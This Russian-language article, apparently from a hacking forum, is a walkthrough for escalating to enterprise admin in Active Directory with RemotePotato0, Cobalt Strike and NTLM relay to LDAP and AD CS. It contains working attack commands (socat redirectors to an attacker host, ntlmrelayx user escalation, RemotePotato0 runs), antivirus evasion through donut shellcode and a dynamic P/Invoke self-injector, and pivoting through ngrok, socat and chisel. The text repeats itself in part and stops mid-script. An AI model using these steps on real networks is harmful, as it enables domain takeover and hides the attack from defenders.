Удаленная Картошка Ноль и Cobalt Strike. Повышаем привилегии в AD через кросс-протокольную атаку NTLM Relay
Идея для этой статьи пришла после одного внутряка, когда я попал в среду Active Directory, где члены группы безопасности Domain Users (все пользователи домена) обладали привилегией для удаленного подключения к контроллерам по протоколу RDP. Хоть это уже само по себе ужасная мисконфига, атакующий все еще должен найти способ для локального повышения привилегий на DC, что проблематично, если на системе стоят все хотфиксы. Здесь и приходит на помощьбаг фича из серии Microsoft Won't Fix List – кросс-сессионное провоцирование вынужденной аутентификации по протоколу RPC – которая при отсутствии защиты служб LDAP(S) от атак NTLM Relay мгновенно подарит нам ключи от Королевства.
Далее мы поговорим о различных вариациях проведения данной атаки с использованием (и без) эксплоита RemotePotato0.exe, о том, как скрыть его от Windows Defender, а также я покажу, что делать в случае, если в нашем распоряжении есть только маячок CS и нет вспомогательного хоста внутри локальной сети, по словам автора эксплоита «необходимого» для атаки.
Предыстория
Итак, внутренний пентест. Все по классике: только я, мой ноутбук, капюшон с маской Гая Фокса, переговорка, скоммутированная розетка RJ-45 и просторы корпоративной сети жертвы аудита. Отсутствие правил фильтрации IPv6 в моем широковещательном домене – в роли уязвимости, отравленные пакеты DHCPv6 Advertise с link-local IPv6-адресом моего ноутбука (mitm6) – в роли атаки, и вот получен первоначальный аутентифицированный доступ в среду AD. Далее сбор дампа «блада» с помощью BloodHound.py, пока все по классике. Но вот то, что было дальше, ПОВЕРГЛО ВСЕХ В ШОК (ПЕРЕЙДИ ПО ССЫЛКЕ ДЛЯ ПРОДОЛЖЕНИЯ)...
Шучу, всего лишь все доменные пользюки могут коннектиться к контроллерам домена по RDP, что может пойти не так?
Рис. 1. Найди уязвимость на картинке
На самом деле, уже в этот момент можно начинать потирать руки в предвкушении кредов доменадмина. Убедимся, что мы можем релеить Net-NTLMv2 аутентификацию на службы LDAP(S) с помощью LdapRelayScan.
Рис. 2. PARTY TIME, бич!
Неудивительно, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отключены – еще мало кто осознал, что это мастхэв-mitigations АД в наше время.
А теперь по порядку, что со всем этим можно сделать...
Немного (нудной теории) о «картошках»
Теория – это всегда нудно и скучно, но в этом случае она прям сильно нужна для базового представления о проводимой атаке. Я постараюсь не затягивать.
RottenPotato & Co.
В далеком 2016 г. умные люди придумали RottenPotato – технику локального повышения привилегий с сервисных аккаунтов Windows (например,
Для этого атакующий должен был:
Рис. 3. Механизм работы RottenPotato (изображение – jlajara.gitlab.io)
Некоторое время спустя лавочку прикрыли, запретив DCOM/RPC общаться с локальными слушателями – никаких тебе больше МитМ-ов. Но «картошки» все равно претерпевали изменения: были напилены LonelyPotato (неактуально) и JuicyPotato – улучшенная версия RottenPotato, умеющая работать с разными значениями CLSID (Class ID, идентификатор COM-класса) для «арбузинга» других служб (помимо BITS, которую использовала оригинальная «картошка»), в которых реализован интерфейс IMarshal для триггера NTLM-аутентификации.
RoguePotato
С релизом RoguePotato – эволюционировавшей версией Juicy Potato – был продемонстрирован альтернативный подход к олицетворению привилегированных системных токенов:
Рис. 4. Механизм работы RoguePotato (изображение – jlajara.gitlab.io)
С базовой теорией закончили.
RemotePotato0
И опять немного нудной теории.
Введение
RemotePotato0 – успешный результат попытки расширить область применения RoguePotato для проведения атак на доменные учетные записи.
Работает это дело примерно так же, как и RoguePotato, за исключением того, что теперь мы используем другие службы (с другими значениями CLSID) для триггера NTLM-аутентификации от имени пользователей, сессии которых существуют на атакуемой машине одновременно с нашей. Первоначальный вариант эксплоита работал только при условии действия атакующего из так называемого «нулевого сеанса».
Рис. 5. Запуск диспетчера задач с разными правами
С другой стороны, если я включу этого пользователя в локальную группу Remote Management Users на этом сервере и подключусь к нему с помощью Evil-WinRM, я окажусь в контексте Session 0, по-прежнему не обладая правами локаладмина.
Рис. 6. Внутри нулевого сеанса по WinRM
Это не означает, что я теперь могу делать с процессами в других сессиях все, что захочу, однако открывает интересные возможности в контексте взаимодействия с ними через DCOM/RPC.
То есть в ситуации, когда у нас есть пользователь с правами подключения к серверам в контексте нулевого сеанса посредством WinRM и/или SSH (т. е. входящий в группу Remote Management Users), но не обладающий правами локаладмина (в противном случае мы можем просто сдампить LSASS для получения нужных кред), можно было использовать трюк с RemotePotato0 при условии существования на атакуемом сервере сессий привилегированных пользователей. По словам автора эксплоита в этом случае при триггере NTLM-аутентификации через определенный CLSID мы сможем угнать контекст сессии с наименьшим значением ее идентификатора:
Понятно, что при таком раскладе область применимости RemotePotato0 была не очень широкой, поэтому хайпа вокруг этого метода было немного.
Спустя некоторое время на всеобщую радость эксплоит обновился и стал поддерживать функционал кросс-сессионного триггера NTLM-аутентификации: это означает, что действуя даже в рамках сессии № 1 из RDP, мы можем дернуть привилегированный контекст администратора, также залогиненного в RDP, но в сессии № 2. Вот это уже прям пушка.
Как работает и когда использовать
Перед переходом к практике суммируем знания о RemotePotato0.
Условия применимости атаки (что нам нужно иметь):
Рис. 7. Механизм работы RemotePotato0 (изображение – www.sentinelone.com)
Перейдем к практике.
Сферические примеры в вакууме
Прежде чем говорить об уклонении от AV и других улучшалках, посмотрим на атаку при отключенных средствах защиты, чтобы понимать, какого результата нам ожидать.
Я загружу свежий релиз RemotePotato0 и распакую его.
Рис. 8. Загрузка и распаковка RemotePotato0
Как можно видеть из help-а, в нашем распоряжении несколько режимов атаки: можно либо отправить аутентификацию на relay-сервер для ее перенаправления на другой эндпоинт (режим 0, по умолчанию), либо получить значение хеша Net-NTLMv2 для его офлайн-перебора (режим 2). Режимы 1 и 3 предназначены для триггера NTLM-аутентификации вручную, без «картошки», поэтому нам это не очень интересно.
Для разминки сперва попробуем режим 2:
https://xss.pro/attachments/35585/?hash=2a5565aa28e5e37135b4a09a5afb4d69
Рис. 9. Запуск RemotePotato0 в режиме сбора хешей
Как видим, мы успешно получили значение хеша Net-NTLMv2, который теперь можно спокойно брутить в офлайне (режим
Теперь перейдем к релею на LDAP. Опции те же самые, только добавим флаг
Рис. 10. Запуск RemotePotato0 в режиме релея
Вжух, и одной командой мы энтЫрпрайз одмены.
Боевая практика
Это все, конечно, здорово, но совсем не жизненно.
Усложним задачу: нужно провести ту же атаку при активном дефендере и не обладая вспомогательной машиной на Linux, на которой поднимается TCP-редиректор.
Уклоняемся от AV
Судя по моему опыту, большинство аверов детектят RemotePotato0.exe, основываясь исключительно на сигнатурном анализе:
Есть несколько возможных решений этой проблемы:
Рис. 11. Defender Advanced (ага да) Evasion UPX-упаковкой
Но я могу лучше: второй способ не потребует даже загрузки исполняемого файла эксплоита на диск, поэтому реализуем это.
Помимо D/Invoke существует еще один интересный способ обфускации вызовов Win32 API при трейдкрафте на C#. Он освещен в этой статье – Unmanaged Code Execution with .NET Dynamic PInvoke.
Суть проста: в C# существует нативный механизм System.Reflection.Emit, позволяющий «на лету» создавать сборки .NET и исполнять их с помощью механизма
Пример определения функции CreateThread, дергающей одноименную ручку API из
На основе примеров из статьи выше я напилил ШАБЛОН для автоматизации создания self-инжекторов. Шеллкоды генерируются из PE-файлов с помощью этого форка проекта donut.
Для компиляции .NET потребуется машина с Visual Studio.
Рис. 12. Компиляция self-инжектора
Протестим его в следующем разделе, когда решим проблему с TCP-редиректором.
ngrok + socat =
Допустим, мы получили бикон CS на уязвимом для атаки сервере, но у нас нет другого ресурса во внутренней сети жертвы, чтобы использовать его как зеркало для OXID-запросов.
Для имитации этой ситуации я врубил обратно дефендёр и воспользовался своим волшебным инжектором (с позаимствованной у @_RastaMouse техникой Module Stomping) и получил сессию кобы.
Рис. 13. Ничего подозрительного
Рис. 14. You've poped a shell!
Теперь немного пивотинга: отсутствие вспомогательной машины я компенсирую тем, что подниму TCP-инстанс ngrok, который даст белый эндпоинт для общения с машиной атакующего (которая находится за пределами внутренней сети).
Рис. 15. ngrok слушает на 136/TCP
Так как мы не можем контролировать порт, который ngrok вешает на белый адрес (а нам нужен только 135/TCP), понадобится еще один редиректор, в роли которого выступит socat на моей VDS-ке (на атакуемом сервере должен быть доступ в Интернеты, чтобы до него достучаться).
Рис. 16. ngrok + socat на VDS
Теперь я могу ловить трафик на 136/TCP на машине аттакера, прилетевший с ngrok с VDS, и перенаправлять его обратно на жертву. В этом мне поможет SOCKS-прокся, развернутая кобой.
Эмпирическим путем было установлено, что проксю лучше поднимать в отдельном биконе, т. к. изначальная сессия начинает тупить, когда мы делаем
Рис. 17. А вот и хешики!
Рис. 18. Тем временем на VDS
Но и это не предел наших возможностей – таким же способом можно зарелеить доменадмина на LDAP. Для начала перегенерим шеллкод с нужными нам аргументами (изменим режим в
К сожалению, на фри-версии ngrok-а не получится одновременно поднять второй канал, поэтому я воспользуюсь chisel-ом для перенаправления HTTP-трафла. Откровенно говоря, можно было и первый редирект настроить через chisel, и не юзать ngrok вообще, но ладно.
Рис. 19. Релеим HTTP через chisel
Рис. 20. Тем временем на VDS (дубль 2)
И я снова энтерпрайз админ. Таким образом, мы скрафтили способ повышения привилегий с помощью RemotePotato0 без использования вспомогательного хоста на внутреннем периметре :3
Бонус №1. Релей на AD CS (ESC8)
В случае, если по какой-либо причине релеить на LDAP(S) не получается, но в домене есть незащищенный эндпоинт Web Enrollment центра сертификации AD CS, можно провернуть вариацию атаки ESC8 (смотрим ресерч, если кто не в теме).
Для того, чтобы релей сработал в этом случае, может потребоваться поиграть с разными значениями CLSID, которые можно указать через аргумент
Так вот, опять же империческим путем выяснено, что для ESC8 подходит служба CastServerInteractiveUser со значением CLSID
Продемонстрировать со скриншотом, к сожалению, не получится, т. к. в моей лаба сервер TEXAS и выполняет роль AD CS, а reflective-релей с самого на себе не сработает.
Рис. 21. Вот вам пруф ^^
Но в командах это должно было бы выглядеть примерно так:
При успешной генерации сертификата от имени атакованного пользюка, далее действуем обычно, как это происходит после проведение ESC8-атаки, а именно пользуемся Рубевусом (флаг
Бонус №2. Remote Potato без RemotePotato0.exe
В репе Impacket-а висит пулл реквест, избавляющий от необходимости тащить на атакуемый хост RemotePotato0.exe: триггер NTLM-аутентификации перенесли в форк SweetPotato, RPC-сервер реализовали в самом ntlmrelayx.py, а OXID-резолвер вынесли в отдельный скрипт. Однако в этом случае самый вкусный функционал будет урезан – триггерить NTLM-аутентификацию можно только от имени машинной УЗ, но не сквозь чужую сессию.
Я покажу способ вооружить и этот вариант атаки, имея под рукой только бикон кобы и инстанс VDS, через классическую реализацию RBCD-абьюза для пывна сервера, откуда прилетает аутентификация.
Для этого сначала определимся, что, куда и зачем мы редиректим:
Рис. 22. S4U2Proxy, я иду!
После этого, полагаю, не нужно объяснять, что делать. Получим TGS через транзитные расширения Kerberos-а S4U2Self & S4U2Proxy с олицетворением пользователя administrator (getST.py) и фигачим secretsdump.py / wmiexec.py, чтобы извлечь секреты LSA или получить шелл на сервере.
Рис. 22. Теперь мы админы на сервере TEXAS
Прикольный вариант атаки, но протащить и выполнить оригинальный бинарь, как мы показали ранее, тоже не составляет большого труда.
Закончить хотелось бы словами классика: «Следи за собой, будь осторожен».
Спасибо за внимание.
Идея для этой статьи пришла после одного внутряка, когда я попал в среду Active Directory, где члены группы безопасности Domain Users (все пользователи домена) обладали привилегией для удаленного подключения к контроллерам по протоколу RDP. Хоть это уже само по себе ужасная мисконфига, атакующий все еще должен найти способ для локального повышения привилегий на DC, что проблематично, если на системе стоят все хотфиксы. Здесь и приходит на помощь
Далее мы поговорим о различных вариациях проведения данной атаки с использованием (и без) эксплоита RemotePotato0.exe, о том, как скрыть его от Windows Defender, а также я покажу, что делать в случае, если в нашем распоряжении есть только маячок CS и нет вспомогательного хоста внутри локальной сети, по словам автора эксплоита «необходимого» для атаки.
ДИСКЛЕЙМЕР
Вся информация в этой статье представлена исключительно в исследовательских целях. Автор не несет ответственности за любое неправомерное и/или незаконное использование опубликованных материалов. Неправомерное завладение компьютерной информацией, создание и распространение вредоносного ПО, а также проведение несанкционированных мероприятий по тестированию на проникновение преследуется по закону. Все описанные действия выполнялись в частной инфраструктуре автора статьи, ни одна уточка не пострадала. Dixi.
Предыстория
Итак, внутренний пентест. Все по классике: только я, мой ноутбук,
Шучу, всего лишь все доменные пользюки могут коннектиться к контроллерам домена по RDP, что может пойти не так?
Рис. 1. Найди уязвимость на картинке
На самом деле, уже в этот момент можно начинать потирать руки в предвкушении кредов доменадмина. Убедимся, что мы можем релеить Net-NTLMv2 аутентификацию на службы LDAP(S) с помощью LdapRelayScan.
Bash:
~$ python3 LdapRelayScan.py -method BOTH -dc-ip <REDACTED> -u <REDACTED> -p <REDACTED>
Рис. 2. PARTY TIME
Неудивительно, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отключены – еще мало кто осознал, что это мастхэв-mitigations АД в наше время.
А теперь по порядку, что со всем этим можно сделать...
Немного (нудной теории) о «картошках»
Теория – это всегда нудно и скучно, но в этом случае она прям сильно нужна для базового представления о проводимой атаке. Я постараюсь не затягивать.
RottenPotato & Co.
В далеком 2016 г. умные люди придумали RottenPotato – технику локального повышения привилегий с сервисных аккаунтов Windows (например,
IIS APPPOOL\DefaultAppPool или NT Service\MSSQL$SQLEXPRESS), обладающих привилегей олицетворения чужих токенов безопасности (aka SeImpersonatePrivilege), до NT AUTHORITY\SYSTEM.Для этого атакующий должен был:
- Спровоцировать вынужденную аутентификацию со стороны
NT AUTHORITY\SYSTEMна машине-жертве через триггер API-ручки DCOM/RPCCoGetInstanceFromIStorageв отношении локального слушателя (выступает в роли «человека посередине»). - Одновременно провести локальную атаку NTLM Relay на службу RPC (135/TCP) и дернуть API-вызов DCOM/RPC
AcceptSecurityContext, передавая ему содержимое NTLM-части запроса Negotiate (NTLM Type 1) отNT AUTHORITY\SYSTEM. - Подменить NTLM-челлендж (NTLM Type 2), исходящий от службы RPC (135/TCP), на челлендж, полученный из ответа
AcceptSecurityContext, и продолжить изначальный релей на RPC из шага 1. В данном контексте NTLM-ответ службы RPC (135/TCP) используется просто как шаблон сетевого ответа, в который мы инжектим нужное нам тело NTLM-челленджа. - После успешного получения NTLM-аутентификации (NTLM Type 3) клиента RPC из шага 1 в ответ на NTLM-челлендж (NTLM Type 2) из шага 3 зарелеить ее на RPC-ручку
AcceptSecurityContextи получить токен системы. На этом NTLM Relay окончен. - Имперсонировать (олицетворить)
NT AUTHORITY\SYSTEM. Мы можем это сделать в силу наличия у нас привилегии SeImpersonatePrivilege.
Рис. 3. Механизм работы RottenPotato (изображение – jlajara.gitlab.io)
Некоторое время спустя лавочку прикрыли, запретив DCOM/RPC общаться с локальными слушателями – никаких тебе больше МитМ-ов. Но «картошки» все равно претерпевали изменения: были напилены LonelyPotato (неактуально) и JuicyPotato – улучшенная версия RottenPotato, умеющая работать с разными значениями CLSID (Class ID, идентификатор COM-класса) для «арбузинга» других служб (помимо BITS, которую использовала оригинальная «картошка»), в которых реализован интерфейс IMarshal для триггера NTLM-аутентификации.
В данном случае процесс провоцирования NTLM-аутентификации в своей основе имеет схожей принцип с вредоносной десериализацией объектов, только здесь это называется «анмаршалинг» – процесс восстановления COM-объекта из последовательности бит после его передачи в целевой метод в качестве аргумента.
Атакующий создает вредоносный COM-объект класса
Подробнее о механизме триггера NTLM-аутентификации в ходе абьюза DCOM/RPC можно почитать в первом репорте на эту тему:
bugs.chromium.org
Атакующий создает вредоносный COM-объект класса
IStorage и вызывает API CoGetInstanceFromIStorage с указанием создать объект класса с конкретным идентификатором CLSID и инициализировать его состоянием из маршализированного вредоносного объекта. Одно из полей маршализированного объекта содержит указатель на подконтрольный атакующему слушатель, на который автоматически приходит отстук с NTLM-аутентификацией в процессе анмаршалинга.
C++:
public static void BootstrapComMarshal(int port)
{
IStorage stg = ComUtils.CreateStorage();
// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid,
null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
Подробнее о механизме триггера NTLM-аутентификации в ходе абьюза DCOM/RPC можно почитать в первом репорте на эту тему:
325 - project-zero - Project Zero - Monorail
bugs.chromium.org
RoguePotato
С релизом RoguePotato – эволюционировавшей версией Juicy Potato – был продемонстрирован альтернативный подход к олицетворению привилегированных системных токенов:
- Атакующий поднимает кастомный сервис OXID (Object Exporter ID) Resolver на локальном порту атакуемой машины, отличном от 135/TCP. OXID-резолвер используется в Windows для разрешения идентификатора вызываемого интерфейса RPC (в нашем случае подконтрольного аттакеру) в его имя, т. е. в строку RPC-биндинга.
- Атакующий говорит службе DCOM/RPC машины-жертвы постучаться на удаленный IP-адрес (контролируется атакующим) для резолва той самой OXID-записи. Это необходимо в силу того, что Microsoft запретили обращение к локальным OXID-резолверам, слушающим НЕ на порту 135/TCP.
- На том самом удаленном IP-адресе аттакер поднимает
socat(или любой другой TCP-редиректор) на порту 135/TCP и зеркалит пришедший OXID-запрос на атакуемую машину в порт, на котором слушает кастомный сервис OXID Resolver из шага 1. Последний резолвит предоставленный идентификатор в стрингу RPC-биндинга именнованного каналаncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper]. - Далее машина-жертва наконец-то делает вредоносный RPC-вызов (API-ручка
IRemUnkown2) с подключением к подконтрольному атакующему пайпу из шага 3, что позволяет нам олицетворить подключившегося клиента с помощьюRpcImpersonateClient, как это описал @itm4n в судьбоносном ресерче PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019.
Рис. 4. Механизм работы RoguePotato (изображение – jlajara.gitlab.io)
С базовой теорией закончили.
Хороший тамлайн с кратким описанием всех «картошек» можно найти в этой статье:
jlajara.gitlab.io
Potatoes - Windows Privilege Escalation · Jorge Lajara
jlajara.gitlab.io
RemotePotato0
И опять немного нудной теории.
Введение
RemotePotato0 – успешный результат попытки расширить область применения RoguePotato для проведения атак на доменные учетные записи.
Работает это дело примерно так же, как и RoguePotato, за исключением того, что теперь мы используем другие службы (с другими значениями CLSID) для триггера NTLM-аутентификации от имени пользователей, сессии которых существуют на атакуемой машине одновременно с нашей. Первоначальный вариант эксплоита работал только при условии действия атакующего из так называемого «нулевого сеанса».
Session 0 Isolation – концепция разделения сессий пользователей от сессий системных служб и неинтерактивных приложений. Начиная с Windows Vista, все пользователя, подключаясь на машину удаленно по протоколу RDP, проваливаются в свою сессию, откуда не могут взаимодействовать с процессами, запущенными в других сессиях, если не обладают правами локального администратора. Однако, если пользюк подключен через службу WinRM (Windows Remote Management, 5985-5986/TCP) или SSH, то он проваливается непосредственно в нулевой сеанс, т. к. сами вышеуказанные службы существуют именно там.
Наглядный пример: пользователь
Наглядный пример: пользователь
TINYCORP\j.doe в моей лабе не имеет прав локаладмина на сервере TEXAS, поэтому не может видеть запущенных от имени администратора процессов Google Chrome, будучи подключенным по RDP. Однако, если открыть диспетчер задач с правами администратора, эти процессы будут отображены.
Рис. 5. Запуск диспетчера задач с разными правами
С другой стороны, если я включу этого пользователя в локальную группу Remote Management Users на этом сервере и подключусь к нему с помощью Evil-WinRM, я окажусь в контексте Session 0, по-прежнему не обладая правами локаладмина.
Рис. 6. Внутри нулевого сеанса по WinRM
Это не означает, что я теперь могу делать с процессами в других сессиях все, что захочу, однако открывает интересные возможности в контексте взаимодействия с ними через DCOM/RPC.
То есть в ситуации, когда у нас есть пользователь с правами подключения к серверам в контексте нулевого сеанса посредством WinRM и/или SSH (т. е. входящий в группу Remote Management Users), но не обладающий правами локаладмина (в противном случае мы можем просто сдампить LSASS для получения нужных кред), можно было использовать трюк с RemotePotato0 при условии существования на атакуемом сервере сессий привилегированных пользователей. По словам автора эксплоита в этом случае при триггере NTLM-аутентификации через определенный CLSID мы сможем угнать контекст сессии с наименьшим значением ее идентификатора:
"If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id)". – (c)![]()
Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol - SentinelLabs
A newly-discovered NTLM relay attack makes every Windows system vulnerable to an escalation of privileges attack, and there's no patch in sight.www.sentinelone.com
Понятно, что при таком раскладе область применимости RemotePotato0 была не очень широкой, поэтому хайпа вокруг этого метода было немного.
Спустя некоторое время на всеобщую радость эксплоит обновился и стал поддерживать функционал кросс-сессионного триггера NTLM-аутентификации: это означает, что действуя даже в рамках сессии № 1 из RDP, мы можем дернуть привилегированный контекст администратора, также залогиненного в RDP, но в сессии № 2. Вот это уже прям пушка.
Как работает и когда использовать
Перед переходом к практике суммируем знания о RemotePotato0.
Условия применимости атаки (что нам нужно иметь):
- Скомпрометированная доменная УЗ, имеющая привилегии подключения к удаленному серверу по протоколу RDP, где потенциально может тусить привилегированные пользователи. На самом деле, это условие встречается практически везде, т. к. везде есть терминальники, куда время от времени заглядывают доменадмины.
- Подконтрольный атакующему хост в интранете, имеющий сетевую связанность по порту 135/TCP с атакуемым сервером (от этого условия мы избавимся далее).
- Незащищенный эндпоинт с доменной аутентификацией, куда можно релеить Net-NTLMv2 аутентификацию, прилетевшую на наш HTTP-сервер. Идеальный вариант – службы LDAP(S) (или дефолтная прила веб-энролмента AD CS).
- Возможность исполнения бинаря RemotePotato0.exe на атакуемом сервере в обход средств антивирусной защиты.
- Действуя из сессии непривилегированного пользователя, подключенного по RDP к серверу, где есть сессия привилегированного (или любого другого интересующего нас) доменного пользователя, атакующий триггерит NTLM-аутентификацию от имени жертвы через анмаршалинг вредоносного объекта COM-класса
IStorageпосредством передачи его в качестве аргумента в API-ручкуCoGetInstanceFromIStorage. В вредоносном объекте живет IP-адрес и порт подконтрольного атакующему сетевого узла, куда позже прилетит NTLM-аутентификация. - На своем сервере атакующий зеркалит трафло, пришедшее на 135/TCP порт, обратно на атакуемую машину в порт, где уже поднят фейковый OXID-резолвер, который отдает запросу DCOM нужный RPC-биндинг.
- Частично повторяется шаг 4 из описания работы RoguePotato: вызов
IRemUnknown2::RemReleaseв отношении локального RPC-сервера, инкапсуляция RPC-запроса с NTLM-аутентификацией в HTTP и перенаправление его на наш HTTP-сервер. Последний уже поднят на машине атакующего в виде инстанса ntlmrelayx.py. - Проведение кросс-протокольной атаки NTLM Relay на незащищенный эндпоинт с доменной аутентификацией, например LDAP. В этом случае атакующий может добавить подконтрольного ему доменного пользователя в привилегированные доменные группы безопасности, настроить ограниченное делегировании на основе ресурсов (атака RBCD Abuse) для критических доменных ресурсов или использовать любой другой поддерживаемый вектор атаки ntlmrelayx.py.
Рис. 7. Механизм работы RemotePotato0 (изображение – www.sentinelone.com)
Перейдем к практике.
Сферические примеры в вакууме
Прежде чем говорить об уклонении от AV и других улучшалках, посмотрим на атаку при отключенных средствах защиты, чтобы понимать, какого результата нам ожидать.
Я загружу свежий релиз RemotePotato0 и распакую его.
Код:
PS > curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip -o RemotePotato0.zip
PS > Expand-Archive .\RemotePotato0.zip -DestinationPath .
PS > ls .\RemotePotato0*
PS > .\RemotePotato0.exe
Рис. 8. Загрузка и распаковка RemotePotato0
Как можно видеть из help-а, в нашем распоряжении несколько режимов атаки: можно либо отправить аутентификацию на relay-сервер для ее перенаправления на другой эндпоинт (режим 0, по умолчанию), либо получить значение хеша Net-NTLMv2 для его офлайн-перебора (режим 2). Режимы 1 и 3 предназначены для триггера NTLM-аутентификации вручную, без «картошки», поэтому нам это не очень интересно.
Для разминки сперва попробуем режим 2:
-m– режим атаки,-x– IP-адрес TCP-редиректора, который отзеркалит OXID-резолв обратно на машину-жертву на порт, указанный в опции-p(если бы я использовал Windows Server 2012, можно было бы обойтись без этой опции, т. к. на нем нет фиксов по запрету резолва OXID-запросов через нестандартные порты),-p– порт фейкового локального OXID-резолвера, куда будет отзеркален OXID-запрос машиной атакующего,-s– номер сессии пользователя, которого мы хотим олицетворить.
Код:
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<VICTIM_IP>:9998
PS > .\RemotePotato0.exe -m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>
Рис. 9. Запуск RemotePotato0 в режиме сбора хешей
Как видим, мы успешно получили значение хеша Net-NTLMv2, который теперь можно спокойно брутить в офлайне (режим
5600 в hashcat в помощь). Это полноценная замена атаки Internal Monologue, не требующая к тому же прав локального администратора.Теперь перейдем к релею на LDAP. Опции те же самые, только добавим флаг
-r, задающий IP-адрес HTTP-сервера атакующего, который проведет NTLM Relay.
Код:
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<VICTIM_IP>:9998
~$ sudo ntlmrelayx.py -t ldap://<DC_IP> --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
PS > .\RemotePotato0.exe -m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>
Рис. 10. Запуск RemotePotato0 в режиме релея
Вжух, и одной командой мы энтЫрпрайз одмены.
Боевая практика
Это все, конечно, здорово, но совсем не жизненно.
Усложним задачу: нужно провести ту же атаку при активном дефендере и не обладая вспомогательной машиной на Linux, на которой поднимается TCP-редиректор.
Уклоняемся от AV
Судя по моему опыту, большинство аверов детектят RemotePotato0.exe, основываясь исключительно на сигнатурном анализе:
Код:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}
Есть несколько возможных решений этой проблемы:
- Упаковать RemotePotato0.exe с помощью какого-нибудь архиватора/энкодера/шифратора.
- Выдернуть шеллкод из исполняемого файла и внедрить его в процесс из памяти.
Рис. 11. Defender Advanced (ага да) Evasion UPX-упаковкой
Но я могу лучше: второй способ не потребует даже загрузки исполняемого файла эксплоита на диск, поэтому реализуем это.
Для кСаКеПа я писал о бесшумном внедрении шеллкода в память удаленных процессов с помощью механизма D/Invoke:
xakep.ru
Может быть полезным чтивом.
Вызов мастеру ключей. Инжектим шелл-код в память KeePass, обойдя антивирус
Недавно на пентесте мне понадобилось вытащить мастер-пароль открытой базы данных KeePass из памяти процесса с помощью утилиты KeeThief из арсенала GhostPack. Все бы ничего, да вот EDR, следящий за системой, категорически не давал мне этого сделать — ведь под капотом KeeThief живет классическая...
Может быть полезным чтивом.
Помимо D/Invoke существует еще один интересный способ обфускации вызовов Win32 API при трейдкрафте на C#. Он освещен в этой статье – Unmanaged Code Execution with .NET Dynamic PInvoke.
Суть проста: в C# существует нативный механизм System.Reflection.Emit, позволяющий «на лету» создавать сборки .NET и исполнять их с помощью механизма
Reflection.Assembly из памяти прямо в рантайме. Используя этот механизм, мы можем так же «на лету» строить обертки для вызовов Win32 API, не прибегая к статическим декларациям P/Invoke.Пример определения функции CreateThread, дергающей одноименную ручку API из
kernel32.dll:
C#:
class DPInvoke
{
static object DynamicPInvokeBuilder(Type type, string library, string method, object[] parameters, Type[] parameterTypes)
{
AssemblyName assemblyName = new AssemblyName("Temp01");
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, parameterTypes, CallingConvention.Winapi, CharSet.Ansi);
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
object result = dynamicMethod.Invoke(null, parameters);
return result;
}
public static IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)
{
Type[] parameterTypes = { typeof(IntPtr), type[/SIZE]of(uint), typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) };
object[] parameters = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
var result = (IntPtr)DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "CreateThread", parameters, parameterTypes);
return result;
}
}
На основе примеров из статьи выше я напилил ШАБЛОН для автоматизации создания self-инжекторов. Шеллкоды генерируются из PE-файлов с помощью этого форка проекта donut.
Для компиляции .NET потребуется машина с Visual Studio.
Код:
~$ wget -q https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip
~$ unzip RemotePotato0.zip
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin
PS > $binaryName = "RemotePotato0"
PS > $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\${binaryName}.bin")
PS > [System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
PS > $dStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
PS > $dStream.Write($bytes, 0, $bytes.Length)
